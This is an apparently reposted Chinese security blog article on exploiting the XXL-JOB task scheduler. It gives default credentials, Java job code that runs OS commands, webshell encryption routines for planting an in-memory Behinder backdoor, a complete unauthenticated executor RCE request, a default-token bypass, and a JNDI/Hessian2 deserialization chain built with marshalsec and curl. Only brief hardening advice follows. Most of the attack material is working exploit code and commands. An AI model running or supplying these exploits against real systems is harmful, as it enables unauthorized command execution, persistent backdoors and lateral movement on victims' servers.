XXL-JOB 深度利用

admin 2024年1月10日16:51:12评论191 views字数 5197阅读17分19秒阅读模式

简介

XXL-JOB是一个轻量级分布式任务调度平台,支持通过web页面对任务进行操作,基于Java-spring boot框架开发,利用Maven依赖编译好,开箱即用。

XXL-JOB 深度利用

前言

1、XXL-JOB的默认账号:admin 密码:123456

2、保证能够正常执行代码需要先查看执行器管理xxl-job-executor是否正常连接。

XXL-JOB 深度利用

后台计划任务-出网环境

XXL-JOB计划任务反弹Shell

在出网的环境就可以直接通过反弹shell获取权限为后续横向渗透做铺垫。

XXL-JOB 深度利用

XXL-JOB 深度利用

XXL-JOB 深度利用

XXL-JOB 深度利用

后台计划任务-不出网环境

命令执行回显

不出网的环境就无法进行反弹shell就需要选择GLUE(Java)运行模式,通过XxlJobLogger.log日志记录功能把执行的命令结果导出到日志模块。

XXL-JOB 深度利用

命令执行代码:

package com.xxl.job.service.handler;

import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class DemoGlueJobHandler extends IJobHandler {

   @Override
   public ReturnT<String> execute(String param) throws Exception {
       XxlJobLogger.log("XXL-JOB, Hello World.");
       String command = "ls ./";
       try {
           String commandOutput = executeCommand(command);
           XxlJobLogger.log("Command Output:n" + commandOutput);
      } catch (IOException e) {
           XxlJobLogger.log("Error executing command: " + e.getMessage());
           return ReturnT.FAIL;
      }

       return ReturnT.SUCCESS;
  }

   private String executeCommand(String command) throws IOException {
       Process process = Runtime.getRuntime().exec(command);
       StringBuilder output = new StringBuilder();

       BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
       String line;
       while ((line = reader.readLine()) != null) {
           output.append(line).append("n");
      }

       int exitCode;
       try {
           exitCode = process.waitFor();
      } catch (InterruptedException e) {
           Thread.currentThread().interrupt();
           throw new IOException("Command execution interrupted");
      }

       if (exitCode != 0) {
           throw new IOException("Command execution failed with exit code: " + exitCode);
      }

       return output.toString();
  }
}

XXL-JOB 深度利用

还是之前的步骤执行一次,然后在调度日志里的执行日志查看结果。

XXL-JOB 深度利用

XXL-JOB 深度利用

XXL-JOB植入Agent内存马

目前有了命令执行但是也不方便内网横向渗透,如果能植入一个内存马就方便多了。这里还是继续选择GLUE(Java)模块来植入内存马。

XXL-JOB 深度利用

XXL-JOB 深度利用

打入Agent内存马两个条件:

  • 有后台权限

  • 适⽤于控制器和执⾏器都在⼀台主机上:可以执⾏命令 ps -aux www | grep admin 查看有没有控制器。

通过之前命令执行模块可以查看下控制器和执⾏器是否都在⼀台主机上。

注意:这里使用的是veo写的agent内存马进行修改,如果直接拿原作者写的内存马注入后能够正常使用但是XXL-JOB服务会崩溃,需要重启服务才能解决。

所以这里我把内存马进行修复了下并删除了其余内存马只保留了一个冰蝎的。

XXL-JOB 深度利用

注入内存马

正常来说先直接echo一个agent马然后加载就完事了,我嫌麻烦就改成一步到位,但是新的问题出现了,如果把一个agent的马base64编码后放在直接存放在一个变量他提示太长,然后就只能拆分多个方法体保存最后拼接。

XXL-JOB 深度利用

XXL-JOB 深度利用

设置冰蝎传输协议

加密函数:

private byte[] Encrypt(byte[] data) {
  byte[] dt = new byte[data.length];
  for (int i = 0; i < data.length; i++) {
      dt[i] = (byte) (data[i] + 1);
  }
  try {
      java.io.ByteArrayOutputStream o = new java.io.ByteArrayOutputStream();
      java.util.zip.GZIPOutputStream g = new java.util.zip.GZIPOutputStream(o);
      g.write(dt);
      g.close();
      byte[] c = o.toByteArray();
      byte[] ct = new byte[c.length];

      for (int i = 0; i < c.length; i++) {
          ct[i] = (byte) (c[i] + 1);
      }
      return ct;
  } catch (Exception ignored) {
  }
  return data;
}

解密函数:

private byte[] Decrypt(byte[] data) {
  byte[] dt = new byte[data.length];
  for (int i = 0; i < data.length; i++) {
      dt[i] = (byte) (data[i] - 1);
  }
  try {
      java.io.ByteArrayInputStream t = new java.io.ByteArrayInputStream(dt);
      java.util.zip.GZIPInputStream i = new java.util.zip.GZIPInputStream(t, dt.length);
      byte[] c = r(i);
      byte[] ct = new byte[c.length];
      for (int b = 0; b < c.length; b++) {
          ct[b] = (byte) (c[b] - 1);
      }
      return ct;
  } catch (Exception ignored) {
  }
  return data;
}
private byte[] r(java.io.InputStream i) {
  byte[] temp = new byte[1024];
  java.io.ByteArrayOutputStream b = new java.io.ByteArrayOutputStream();
  int n;
  try {
      while((n = i.read(temp)) != -1) {b.write(temp, 0, n);
      }} catch (Exception ignored) {
  }
  return b.toByteArray();
}

XXL-JOB 深度利用

有xxl-job-admin前缀就加上,没有就默认连接http://xxxx.xxx.xx/faviconb

XXL-JOB 深度利用

XXL-JOB 深度利用

executor 未授权访问致远程命令执行漏洞

影响版本

XXL-JOB<=2.2.0

漏洞复现

控制器(admin)http://your-ip:8080

执行器(executor) http://your-ip:9999

注意:我们需要打的执行器默认端口为9999,linux系统的glueType选择"GLUE_SHELL"、Windows系统的glueType选择 "GLUE POWERSHELL"模式、全平台通用的glueType选择"GLUE GROOVY"

POST /run HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "touch /tmp/success",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

XXL-JOB 深度利用

XXL-JOB 深度利用

XXL-JOB默认accessToken身份绕过漏洞

影响版本

XXL-JOB<=2.4.0

漏洞复现

这个漏洞和之前的利用executor未授权远程命令执行是一样的,只是在2.4.0后的版本上,在executor服务上加了token校验,在未更改accessToken默认的情况下导致可以权限绕过从而实现rce

具体操作跟executor未授权远程命令执行是一样的,只是这里我用的GLUE GROOVY执行的命令,其他几个模式执行都是一样。

XXL-JOB 深度利用

XXL-JOB 深度利用

未授权 Hessian2反序列化

影响版本

xxl-job <=2.0.2

漏洞复现

网上一堆复现,本地没环境就没有截图了复现了(同样可以注入内存马)

1、启动恶意JNDI注入利用服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1

2、marshalsec生成Hessian2这个Gadget
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://127.0.0.1:1389/ucceug > test.ser

3、执行命令
curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8089/xxl-job-admin/api

修复建议

  1. 将密码设置为强密码。

  2. 将服务平台放置内网,减少风险。

  3. 增加授权验证,配置 xxl.job.accessToken 防止未授权访问漏洞。

参考

https://github.com/veo/vagent

广

0/1daypoc退

XXL-JOB 深度利用

XXL-JOB 深度利用

XXL-JOB 深度利用

原文始发于微信公众号(安全绘景):XXL-JOB 深度利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月10日16:51:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXL-JOB 深度利用https://cn-sec.com/archives/2226467.html

发表评论

匿名网友 填写信息